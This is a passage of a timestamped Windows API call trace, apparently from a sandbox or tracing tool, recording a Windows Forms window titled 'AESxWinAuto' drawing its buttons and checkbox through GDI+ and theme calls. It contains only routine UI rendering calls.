0x20c4e8 [0065.458] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.458] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.458] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.458] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.458] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.458] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0065.458] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae92c) returned 0x0 [0065.458] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae91c) returned 0x0 [0065.458] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae91c) returned 0x0 [0065.458] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.458] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae934) returned 0x0 [0065.458] GetCurrentObject (hdc=0x18010944, type=0x1) returned 0x1b00017 [0065.458] GetCurrentObject (hdc=0x18010944, type=0x2) returned 0x1900010 [0065.458] GetCurrentObject (hdc=0x18010944, type=0x7) returned 0x3c05094d [0065.458] GetCurrentObject (hdc=0x18010944, type=0x6) returned 0x18a002e [0065.458] SaveDC (hdc=0x18010944) returned 1 [0065.458] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x25040945 [0065.458] GetClipRgn (hdc=0x18010944, hrgn=0x25040945) returned 0 [0065.458] SelectClipRgn (hdc=0x18010944, hrgn=0xba040957) returned 2 [0065.458] DeleteObject (ho=0x25040945) returned 1 [0065.458] DeleteObject (ho=0xba040957) returned 1 [0065.458] OffsetViewportOrgEx (in: hdc=0x18010944, x=0, y=0, lppt=0x260babc | out: lppt=0x260babc) returned 1 [0065.458] DrawThemeParentBackground () returned 0x0 [0065.458] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3ae6a8 | out: lpwndpl=0x3ae6a8) returned 1 [0065.458] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae64c | out: lpRect=0x3ae64c) returned 1 [0065.458] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.458] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.458] GetSystemMetrics (nIndex=42) returned 0 [0065.459] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae50c, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.459] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae50c) returned 0xb [0065.459] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae554 | out: lpRect=0x3ae554) returned 1 [0065.459] GetCurrentObject (hdc=0x18010944, type=0x1) returned 0x1b00017 [0065.459] GetCurrentObject (hdc=0x18010944, type=0x2) returned 0x1900010 [0065.459] GetCurrentObject (hdc=0x18010944, type=0x7) returned 0x3c05094d [0065.459] GetCurrentObject (hdc=0x18010944, type=0x6) returned 0x18a002e [0065.459] SaveDC (hdc=0x18010944) returned 2 [0065.459] GetNearestColor (hdc=0x18010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.459] CreateSolidBrush (color=0xf0f0f0) returned 0x21100940 [0065.459] FillRect (hDC=0x18010944, lprc=0x3ae3f4, hbr=0x21100940) returned 1 [0065.459] DeleteObject (ho=0x21100940) returned 1 [0065.459] RestoreDC (hdc=0x18010944, nSavedDC=-1) returned 1 [0065.459] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.459] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.459] GetSystemMetrics (nIndex=42) returned 0 [0065.459] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4ac, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.459] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4ac) returned 0xb [0065.459] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae4f4 | out: lpRect=0x3ae4f4) returned 1 [0065.459] GetCurrentObject (hdc=0x18010944, type=0x1) returned 0x1b00017 [0065.459] GetCurrentObject (hdc=0x18010944, type=0x2) returned 0x1900010 [0065.459] GetCurrentObject (hdc=0x18010944, type=0x7) returned 0x3c05094d [0065.459] GetCurrentObject (hdc=0x18010944, type=0x6) returned 0x18a002e [0065.459] SaveDC (hdc=0x18010944) returned 2 [0065.459] GetNearestColor (hdc=0x18010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.459] CreateSolidBrush (color=0xf0f0f0) returned 0x22100940 [0065.459] FillRect (hDC=0x18010944, lprc=0x3ae394, hbr=0x22100940) returned 1 [0065.459] DeleteObject (ho=0x22100940) returned 1 [0065.459] RestoreDC (hdc=0x18010944, nSavedDC=-1) returned 1 [0065.459] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.459] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.459] GetSystemMetrics (nIndex=42) returned 0 [0065.459] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4ac, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.459] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4ac) returned 0xb [0065.460] RestoreDC (hdc=0x18010944, nSavedDC=-1) returned 1 [0065.460] GdipReleaseDC (graphics=0x4ba1580, hdc=0x18010944) returned 0x0 [0065.460] IsAppThemed () returned 0x1 [0065.460] GetThemeAppProperties () returned 0x3 [0065.460] GetThemeAppProperties () returned 0x3 [0065.460] IsAppThemed () returned 0x1 [0065.460] GetThemeAppProperties () returned 0x3 [0065.460] GetThemeAppProperties () returned 0x3 [0065.460] IsThemePartDefined () returned 0x1 [0065.460] GdipCreateRegion (region=0x3ae8ac) returned 0x0 [0065.460] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.460] GdipCreateMatrix (matrix=0x3ae8ac) returned 0x0 [0065.460] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0065.460] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3ae8c4) returned 0x0 [0065.460] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.460] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.460] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.460] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.460] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.460] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.460] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0065.460] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8f0) returned 0x0 [0065.460] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8e0) returned 0x0 [0065.460] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae8e0) returned 0x0 [0065.460] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.460] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae8f8) returned 0x0 [0065.460] GetCurrentObject (hdc=0x18010944, type=0x1) returned 0x1b00017 [0065.460] GetCurrentObject (hdc=0x18010944, type=0x2) returned 0x1900010 [0065.460] GetCurrentObject (hdc=0x18010944, type=0x7) returned 0x3c05094d [0065.460] GetCurrentObject (hdc=0x18010944, type=0x6) returned 0x18a002e [0065.460] SaveDC (hdc=0x18010944) returned 1 [0065.460] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xbb040957 [0065.460] GetClipRgn (hdc=0x18010944, hrgn=0xbb040957) returned 0 [0065.460] SelectClipRgn (hdc=0x18010944, hrgn=0x27040945) returned 2 [0065.460] DeleteObject (ho=0xbb040957) returned 1 [0065.461] DeleteObject (ho=0x27040945) returned 1 [0065.461] OffsetViewportOrgEx (in: hdc=0x18010944, x=0, y=0, lppt=0x260c354 | out: lppt=0x260c354) returned 1 [0065.461] IsAppThemed () returned 0x1 [0065.461] GetThemeAppProperties () returned 0x3 [0065.461] GetThemeAppProperties () returned 0x3 [0065.461] DrawThemeBackground () returned 0x0 [0065.461] RestoreDC (hdc=0x18010944, nSavedDC=-1) returned 1 [0065.461] GdipReleaseDC (graphics=0x4ba1580, hdc=0x18010944) returned 0x0 [0065.461] GdipCreateRegion (region=0x3ae894) returned 0x0 [0065.461] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.461] GdipCreateMatrix (matrix=0x3ae894) returned 0x0 [0065.461] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0065.461] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3ae8ac) returned 0x0 [0065.461] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.461] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.461] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.461] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.461] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.461] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.461] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0065.461] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8d8) returned 0x0 [0065.461] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8c8) returned 0x0 [0065.461] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae8c8) returned 0x0 [0065.461] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.461] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae8e0) returned 0x0 [0065.461] GetCurrentObject (hdc=0x18010944, type=0x1) returned 0x1b00017 [0065.461] GetCurrentObject (hdc=0x18010944, type=0x2) returned 0x1900010 [0065.461] GetCurrentObject (hdc=0x18010944, type=0x7) returned 0x3c05094d [0065.461] GetCurrentObject (hdc=0x18010944, type=0x6) returned 0x18a002e [0065.461] SaveDC (hdc=0x18010944) returned 1 [0065.461] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x28040945 [0065.461] GetClipRgn (hdc=0x18010944, hrgn=0x28040945) returned 0 [0065.461] SelectClipRgn (hdc=0x18010944, hrgn=0xbc040957) returned 2 [0065.461] DeleteObject (ho=0x28040945) returned 1 [0065.461] DeleteObject (ho=0xbc040957) returned 1 [0065.462] OffsetViewportOrgEx (in: hdc=0x18010944, x=0, y=0, lppt=0x260c630 | out: lppt=0x260c630) returned 1 [0065.462] IsAppThemed () returned 0x1 [0065.462] GetThemeAppProperties () returned 0x3 [0065.462] GetThemeAppProperties () returned 0x3 [0065.462] GetThemeBackgroundContentRect () returned 0x0 [0065.462] RestoreDC (hdc=0x18010944, nSavedDC=-1) returned 1 [0065.462] GdipReleaseDC (graphics=0x4ba1580, hdc=0x18010944) returned 0x0 [0065.462] IsAppThemed () returned 0x1 [0065.462] GetThemeAppProperties () returned 0x3 [0065.462] GetThemeAppProperties () returned 0x3 [0065.462] GdipGetTextRenderingHint (graphics=0x4ba1580, mode=0x3ae9f0) returned 0x0 [0065.462] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae9dc) returned 0x0 [0065.462] GetCurrentObject (hdc=0x18010944, type=0x1) returned 0x1b00017 [0065.462] GetCurrentObject (hdc=0x18010944, type=0x2) returned 0x1900010 [0065.462] GetCurrentObject (hdc=0x18010944, type=0x7) returned 0x3c05094d [0065.462] GetCurrentObject (hdc=0x18010944, type=0x6) returned 0x18a002e [0065.462] SaveDC (hdc=0x18010944) returned 1 [0065.462] GetTextAlign (hdc=0x18010944) returned 0x0 [0065.462] GetTextColor (hdc=0x18010944) returned 0x0 [0065.462] GetCurrentObject (hdc=0x18010944, type=0x6) returned 0x18a002e [0065.462] GetObjectW (in: h=0x18a002e, c=92, pv=0x3ae73c | out: pv=0x3ae73c) returned 92 [0065.462] SelectObject (hdc=0x18010944, h=0x70a0932) returned 0x18a002e [0065.462] GetBkMode (hdc=0x18010944) returned 2 [0065.462] SetBkMode (hdc=0x18010944, mode=1) returned 2 [0065.462] DrawTextExW (in: hdc=0x18010944, lpchText="button12", cchText=8, lprc=0x3ae820, format=0x102415, lpdtp=0x260c9c8 | out: lpchText="button12", lprc=0x3ae820) returned 26 [0065.462] DrawTextExW (in: hdc=0x18010944, lpchText="button12", cchText=8, lprc=0x3ae970, format=0x102015, lpdtp=0x260c9c8 | out: lpchText="button12", lprc=0x3ae970) returned 13 [0065.462] RestoreDC (hdc=0x18010944, nSavedDC=-1) returned 1 [0065.462] GdipReleaseDC (graphics=0x4ba1580, hdc=0x18010944) returned 0x0 [0065.462] GetFocus () returned 0x1025e [0065.462] IsAppThemed () returned 0x1 [0065.462] GetThemeAppProperties () returned 0x3 [0065.462] GetThemeAppProperties () returned 0x3 [0065.462] GdipGetDC (graphics=0x4ba1580, hdc=0x3aebc8) returned 0x0 [0065.463] BitBlt (hdc=0x701093a, x=0, y=0, cx=56, cy=19, hdcSrc=0x18010944, x1=0, y1=0, rop=0xcc0020) returned 1 [0065.463] GdipReleaseDC (graphics=0x4ba1580, hdc=0x18010944) returned 0x0 [0065.463] SelectPalette (hdc=0x701093a, hPal=0x188000b, bForceBkgd=0) returned 0x10080948 [0065.463] SelectObject (hdc=0x18010944, h=0x185000f) returned 0x3c05094d [0065.463] DeleteDC (hdc=0x18010944) returned 1 [0065.463] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0065.463] EndPaint (hWnd=0x1024c, lpPaint=0x3aeb6c) returned 1 [0065.463] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.463] IsWindowUnicode (hWnd=0x1024e) returned 1 [0065.463] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.463] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.463] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.463] BeginPaint (in: hWnd=0x1024e, lpPaint=0x3aeb7c | out: lpPaint=0x3aeb7c) returned 0x180107ac [0065.463] SelectPalette (hdc=0x180107ac, hPal=0x10080948, bForceBkgd=1) returned 0x188000b [0065.463] CreateCompatibleDC (hdc=0x180107ac) returned 0x1a010944 [0065.463] DeleteObject (ho=0x3c05094d) returned 1 [0065.463] GetObjectType (h=0x180107ac) returned 0x3 [0065.463] CreateCompatibleBitmap (hdc=0x180107ac, cx=1, cy=1) returned 0x4805093b [0065.463] GetDIBits (in: hdc=0x180107ac, hbm=0x4805093b, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x3ae64c, usage=0x0 | out: lpvBits=0x0, lpbmi=0x3ae64c) returned 1 [0065.463] GetDIBits (in: hdc=0x180107ac, hbm=0x4805093b, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x3ae64c, usage=0x0 | out: lpvBits=0x0, lpbmi=0x3ae64c) returned 1 [0065.463] DeleteObject (ho=0x4805093b) returned 1 [0065.463] CreateDIBSection (in: hdc=0x180107ac, lpbmi=0x3ae69c, usage=0x0, ppvBits=0x3aeb90, hSection=0x0, offset=0x0 | out: ppvBits=0x3aeb90) returned 0x3d05094d [0065.463] SelectObject (hdc=0x1a010944, h=0x3d05094d) returned 0x185000f [0065.463] GdipCreateFromHDC (hdc=0x1a010944, graphics=0x3aeb74) returned 0x0 [0065.464] GdipTranslateWorldTransform (graphics=0x4ba1580, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0065.464] GdipSetClipRectI (graphics=0x4ba1580, x=0, y=0, width=80, height=17, combineMode=0x0) returned 0x0 [0065.464] GdipCreateMatrix (matrix=0x3aebdc) returned 0x0 [0065.464] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0065.464] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3aebf4) returned 0x0 [0065.464] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.464] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.464] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.464] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0065.464] GdipCreateRegion (region=0x3aebdc) returned 0x0 [0065.464] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.464] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3aebe8) returned 0x0 [0065.464] GdipSaveGraphics (graphics=0x4ba1580, state=0x3aec14) returned 0x0 [0065.464] GdipRestoreGraphics (graphics=0x4ba1580, state=0xfda30dbd) returned 0x0 [0065.464] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.464] GdipGetDC (graphics=0x4ba1580, hdc=0x3aea88) returned 0x0 [0065.464] GetCurrentObject (hdc=0x1a010944, type=0x1) returned 0x1b00017 [0065.464] GetCurrentObject (hdc=0x1a010944, type=0x2) returned 0x1900010 [0065.464] GetCurrentObject (hdc=0x1a010944, type=0x7) returned 0x3d05094d [0065.464] GetCurrentObject (hdc=0x1a010944, type=0x6) returned 0x18a002e [0065.464] SaveDC (hdc=0x1a010944) returned 1 [0065.464] GetNearestColor (hdc=0x1a010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.464] GetNearestColor (hdc=0x1a010944, color=0xa0a0a0) returned 0xa0a0a0 [0065.464] GetNearestColor (hdc=0x1a010944, color=0x696969) returned 0x696969 [0065.464] GetNearestColor (hdc=0x1a010944, color=0xa0a0a0) returned 0xa0a0a0 [0065.464] GetNearestColor (hdc=0x1a010944, color=0x0) returned 0x0 [0065.464] GetNearestColor (hdc=0x1a010944, color=0xffffff) returned 0xffffff [0065.464] GetNearestColor (hdc=0x1a010944, color=0xe5e5e5) returned 0xe5e5e5 [0065.464] GetNearestColor (hdc=0x1a010944, color=0xd7d7d7) returned 0xd7d7d7 [0065.464] GetNearestColor (hdc=0x1a010944, color=0x0) returned 0x0 [0065.464] RestoreDC (hdc=0x1a010944, nSavedDC=-1) returned 1 [0065.465] GdipReleaseDC (graphics=0x4ba1580, hdc=0x1a010944) returned 0x0 [0065.465] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x3aea50, fWinIni=0x0 | out: pvParam=0x3aea50) returned 1 [0065.465] SendMessageW (hWnd=0x401f0, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0065.465] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0065.465] IsAppThemed () returned 0x1 [0065.465] GetThemeAppProperties () returned 0x3 [0065.465] GetThemeAppProperties () returned 0x3 [0065.465] IsAppThemed () returned 0x1 [0065.465] GetThemeAppProperties () returned 0x3 [0065.465] GetThemeAppProperties () returned 0x3 [0065.465] GdipCreateFromHDC (hdc=0x15010934, graphics=0x3aeb00) returned 0x0 [0065.465] IsAppThemed () returned 0x1 [0065.465] GetThemeAppProperties () returned 0x3 [0065.465] GetThemeAppProperties () returned 0x3 [0065.465] IsAppThemed () returned 0x1 [0065.465] GetThemeAppProperties () returned 0x3 [0065.465] GetThemeAppProperties () returned 0x3 [0065.465] IsThemePartDefined () returned 0x1 [0065.465] GdipCreateRegion (region=0x3aea10) returned 0x0 [0065.465] GdipGetClip (graphics=0x4c28160, region=0x4b5e848) returned 0x0 [0065.465] GdipCreateMatrix (matrix=0x3aea10) returned 0x0 [0065.465] GdipGetWorldTransform (graphics=0x4c28160, matrix=0x4be2be0) returned 0x0 [0065.465] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3aea28) returned 0x0 [0065.465] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.465] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.465] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.465] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0065.465] GdipIsInfiniteRegion (region=0x4b5e848, graphics=0x4c28160, result=0x3aea54) returned 0x0 [0065.465] GdipDeleteRegion (region=0x4b5e848) returned 0x0 [0065.465] GdipGetDC (graphics=0x4c28160, hdc=0x3aea5c) returned 0x0 [0065.465] GetCurrentObject (hdc=0x15010934, type=0x1) returned 0x1b00017 [0065.465] GetCurrentObject (hdc=0x15010934, type=0x2) returned 0x1900010 [0065.465] GetCurrentObject (hdc=0x15010934, type=0x7) returned 0x185000f [0065.465] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0065.465] SaveDC (hdc=0x15010934) returned 2 [0065.465] OffsetViewportOrgEx (in: hdc=0x15010934, x=0, y=0, lppt=0x260e480 | out: lppt=0x260e480) returned 1 [0065.465] IsAppThemed () returned 0x1 [0065.465] GetThemeAppProperties () returned 0x3 [0065.465] GetThemeAppProperties () returned 0x3 [0065.466] GetThemePartSize () returned 0x0 [0065.466] RestoreDC (hdc=0x15010934, nSavedDC=-1) returned 1 [0065.466] GdipReleaseDC (graphics=0x4c28160, hdc=0x15010934) returned 0x0 [0065.466] GdipDeleteGraphics (graphics=0x4c28160) returned 0x0 [0065.466] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0065.466] GetObjectW (in: h=0x70a0932, c=92, pv=0x3ae7e8 | out: pv=0x3ae7e8) returned 92 [0065.466] DrawTextExW (in: hdc=0x15010934, lpchText="checkBox1", cchText=9, lprc=0x3ae924, format=0x102414, lpdtp=0x260e5f0 | out: lpchText="checkBox1", lprc=0x3ae924) returned 13 [0065.466] IsAppThemed () returned 0x1 [0065.466] GetThemeAppProperties () returned 0x3 [0065.466] GetThemeAppProperties () returned 0x3 [0065.466] GdipCreateRegion (region=0x3ae9a8) returned 0x0 [0065.466] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.466] GdipCreateMatrix (matrix=0x3ae9a8) returned 0x0 [0065.466] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0065.466] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3ae9c0) returned 0x0 [0065.466] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.466] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.466] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.466] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.466] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.466] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.466] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0065.466] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae9ec) returned 0x0 [0065.466] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae9dc) returned 0x0 [0065.466] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae9dc) returned 0x0 [0065.466] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.466] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae9f4) returned 0x0 [0065.466] GetCurrentObject (hdc=0x1a010944, type=0x1) returned 0x1b00017 [0065.466] GetCurrentObject (hdc=0x1a010944, type=0x2) returned 0x1900010 [0065.466] GetCurrentObject (hdc=0x1a010944, type=0x7) returned 0x3d05094d [0065.466] GetCurrentObject (hdc=0x1a010944, type=0x6) returned 0x18a002e [0065.466] SaveDC (hdc=0x1a010944) returned 1 [0065.467] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xbd040957 [0065.467] GetClipRgn (hdc=0x1a010944, hrgn=0xbd040957) returned 0 [0065.467] SelectClipRgn (hdc=0x1a010944, hrgn=0x2c040945) returned 2 [0065.467] DeleteObject (ho=0xbd040957) returned 1 [0065.467] DeleteObject (ho=0x2c040945) returned 1 [0065.467] OffsetViewportOrgEx (in: hdc=0x1a010944, x=0, y=0, lppt=0x260e92c | out: lppt=0x260e92c) returned 1 [0065.467] GetNearestColor (hdc=0x1a010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.467] CreateSolidBrush (color=0xf0f0f0) returned 0x23100940 [0065.467] FillRect (hDC=0x1a010944, lprc=0x3ae9f8, hbr=0x23100940) returned 1 [0065.467] DeleteObject (ho=0x23100940) returned 1 [0065.467] RestoreDC (hdc=0x1a010944, nSavedDC=-1) returned 1 [0065.467] GdipReleaseDC (graphics=0x4ba1580, hdc=0x1a010944) returned 0x0 [0065.467] IsAppThemed () returned 0x1 [0065.467] GetThemeAppProperties () returned 0x3 [0065.467] GetThemeAppProperties () returned 0x3 [0065.484] IsAppThemed () returned 0x1 [0065.484] GetThemeAppProperties () returned 0x3 [0065.484] GetThemeAppProperties () returned 0x3 [0065.484] IsAppThemed () returned 0x1 [0065.484] GetThemeAppProperties () returned 0x3 [0065.484] GetThemeAppProperties () returned 0x3 [0065.484] IsAppThemed () returned 0x1 [0065.484] GetThemeAppProperties () returned 0x3 [0065.484] GetThemeAppProperties () returned 0x3 [0065.484] IsThemePartDefined () returned 0x1 [0065.484] GdipCreateRegion (region=0x3ae9fc) returned 0x0 [0065.484] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.484] GdipCreateMatrix (matrix=0x3ae9fc) returned 0x0 [0065.484] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0065.485] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3aea14) returned 0x0 [0065.485] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.485] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.485] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.485] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.485] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.485] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.485] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0065.485] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3aea40) returned 0x0 [0065.485] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3aea30) returned 0x0 [0065.485] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3aea30) returned 0x0 [0065.485] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.485] GdipGetDC (graphics=0x4ba1580, hdc=0x3aea48) returned 0x0 [0065.485] GetCurrentObject (hdc=0x1a010944, type=0x1) returned 0x1b00017 [0065.485] GetCurrentObject (hdc=0x1a010944, type=0x2) returned 0x1900010 [0065.485] GetCurrentObject (hdc=0x1a010944, type=0x7) returned 0x3d05094d [0065.485] GetCurrentObject (hdc=0x1a010944, type=0x6) returned 0x18a002e [0065.485] SaveDC (hdc=0x1a010944) returned 1 [0065.485] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2d040945 [0065.485] GetClipRgn (hdc=0x1a010944, hrgn=0x2d040945) returned 0 [0065.485] SelectClipRgn (hdc=0x1a010944, hrgn=0xbe040957) returned 2 [0065.485] DeleteObject (ho=0x2d040945) returned 1 [0065.485] DeleteObject (ho=0xbe040957) returned 1 [0065.485] OffsetViewportOrgEx (in: hdc=0x1a010944, x=0, y=0, lppt=0x2610468 | out: lppt=0x2610468) returned 1 [0065.485] IsAppThemed () returned 0x1 [0065.485] GetThemeAppProperties () returned 0x3 [0065.485] GetThemeAppProperties () returned 0x3 [0065.485] GetThemePartSize () returned 0x0 [0065.485] RestoreDC (hdc=0x1a010944, nSavedDC=-1) returned 1 [0065.485] GdipReleaseDC (graphics=0x4ba1580, hdc=0x1a010944) returned 0x0 [0065.485] IsAppThemed () returned 0x1 [0065.485] GetThemeAppProperties () returned 0x3 [0065.485] GetThemeAppProperties () returned 0x3 [0065.485] IsAppThemed () returned 0x1 [0065.485] GetThemeAppProperties () returned 0x3 [0065.485] GetThemeAppProperties () returned 0x3 [0065.485] IsThemePartDefined () returned 0x1 [0065.485] GdipCreateRegion (region=0x3ae9fc) returned 0x0 [0065.485] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.485] GdipCreateMatrix (matrix=0x3ae9fc) returned 0x0 [0065.486] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0065.486] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3aea14) returned 0x0 [0065.486] LocalAlloc (uFlags=0x0, uBytes=0x30) 